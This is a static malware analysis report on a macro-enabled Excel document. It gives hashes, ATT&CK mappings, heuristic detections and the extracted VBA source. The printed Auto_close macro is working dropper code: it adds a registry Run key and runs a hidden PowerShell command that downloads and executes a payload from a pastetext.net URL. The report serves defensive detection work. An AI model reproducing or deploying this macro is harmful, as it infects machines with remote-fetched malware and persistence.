Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6d7d9efabceb8765…

MALICIOUS

Office (OOXML)

353.9 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-23
MD5: 4c5a0a21a4a47ad68b9f0082c34e5cee SHA-1: 8ef6bf5c0bb4531419859e69cc6866bff29a2ecc SHA-256: 6d7d9efabceb8765888061025a63992bb0e943fe09bddf3a7e37f89f35e35131
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1547.001 Registry Run Keys / Startup Folder T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The VBA macro contains an Auto_close subroutine that executes a command to add a registry Run key named 'benet' with a value that points to a PowerShell command. This PowerShell command is designed to download and execute a payload from the URL https://pastetext.net/raw/a9qmbgtlii. The script also creates and executes a batch file named '77.bat' to facilitate this process. The presence of Shell() and cmd.exe references further supports this execution chain.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Close #1
        i = Shell(batch, 0)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Dim s As String
    s = "  cmd.exe /S /C reg add ""HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Run"" /f /v ""benet"" /t REG_SZ /d ""pOwersHelL.exe -w h i'E'x(iwr('https://pastetext.net/raw/a9qmbgtlii') -useB  "
    ActiveWorkbook.Save
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Dim s As String
    s = "  cmd.exe /S /C reg add ""HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Run"" /f /v ""benet"" /t REG_SZ /d ""pOwersHelL.exe -w h i'E'x(iwr('https://pastetext.net/raw/a9qmbgtlii') -useB  "
    ActiveWorkbook.Save
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
     Sub Auto_close()
    On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://pastetext.net/raw/a9qmbgtlii In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1123 bytes
SHA-256: e95206ab9a72b7f81466b4cf5765db513d53854b2ad4c02dd40b1da82242c5b3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Workbook______________"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Worksheet______1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

 Sub Auto_close()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = "  cmd.exe /S /C reg add ""HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Run"" /f /v ""benet"" /t REG_SZ /d ""pOwersHelL.exe -w h i'E'x(iwr('https://pastetext.net/raw/a9qmbgtlii') -useB  "
ActiveWorkbook.Save
batch = "77.bat"
Open batch For Output As #1
    Print #1, s
    Close #1
    i = Shell(batch, 0)
 
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18944 bytes
SHA-256: f2ee4c8befc6df517c5af9c20d0c5f349f9306b2b870ebc0388699439b951dae